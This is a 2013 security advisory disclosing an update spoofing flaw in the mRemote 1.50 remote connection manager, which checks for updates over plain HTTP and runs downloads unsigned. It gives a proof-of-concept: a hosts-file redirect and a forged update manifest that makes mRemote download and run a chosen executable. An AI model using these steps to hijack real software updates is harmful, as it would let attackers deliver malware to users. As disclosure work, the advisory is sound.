[waraxe-2013-SA#100] - Update Spoofing Vulnerability in mRemote 1.50 =============================================================================== Author: Janek Vind "waraxe" Date: 29. March 2013 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-100.html Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mRemote is a software solution that will allow you to manage all your remote control connections in a single place. Currently it supports the RDP, VNC, SSH2 and Telnet protocols. http://www.royalts.com/main/home/mRemote.aspx http://mremote-portable.softpile.com/58492/download/ Vulnerable is version 1.50, other versions not tested. ############################################################################### 1. Update Spoofing Vulnerability ############################################################################### Current version of mRemote contains security vulnerability in update mechanism, which can be exploited by malicious people to conduct spoofing attacks. When checking for updates, mRemote issues GET request over HTTP: GET /mRemote_Update.txt HTTP/1.1 Host: update.mremote.org Connection: Keep-Alive Server response: HTTP/1.1 200 OK Content-Length: 284 Content-Type: text/plain Last-Modified: Wed, 22 Apr 2009 18:29:48 GMT Accept-Ranges: bytes ETag: "16cc425178c3c91:1e75" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Thu, 28 Mar 2013 14:03:07 GMT Version: 1.50 dURL: http://www.mremote.org/wiki/GetFile.aspx?File=Downloads/mRemote_1.50_Setup.exe clURL: http://update.mRemote.org/mRemote_1.50_ChangeLog.txt imgURL: http://update.mRemote.org/banners/Banner_vRD09.png imgURLLink: http://www.visionapp.com/vRD2009-highlights.html mRemote user can click "Download and Install" button and mRemote will download and install the update. Such update mechanism contains two security flaws: 1. Update check is done over unencrypted HTTP channel. Malicious third party is able to conduct Man-in-the-Middle (MitM) attacks and spoof server response. In this way it is possible to instruct mRemote to download malicious update. 2. mRemote will execute downloaded update without digital signature verification. Testing: tests were done using Windows 7 and Apache webserver. Steps: 1. modify "windows/system32/drivers/etc/hosts" file in order to emulate DNS spoofing: 127.0.0.1 update.mremote.org 2. create text file "mRemote_Update.txt" to the webserver main directory with following content: Version: 1.51 dURL: http://localhost/calc.exe clURL: http://localhost/mRemote_1.51_ChangeLog.txt imgURL: http://update.mRemote.org/banners/Banner_vRD09.png imgURLLink: http://www.visionapp.com/vRD2009-highlights.html 3. create text file "mRemote_1.51_ChangeLog.txt" to the webserver main directory with following content: New version 1.51 available! 4. Place "calc_EN.exe" file to the webserver main directory. 5. Open mRemote, it will check for updates automatically. Response: New version 1.51 available! 6. Press "Download and Install" button. Successful download ends with response: Download complete! mRemote will now quit and begin with the installation. 7. Press "OK" button and downloaded exe file will be executed. Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe () yahoo com Janek Vind "waraxe"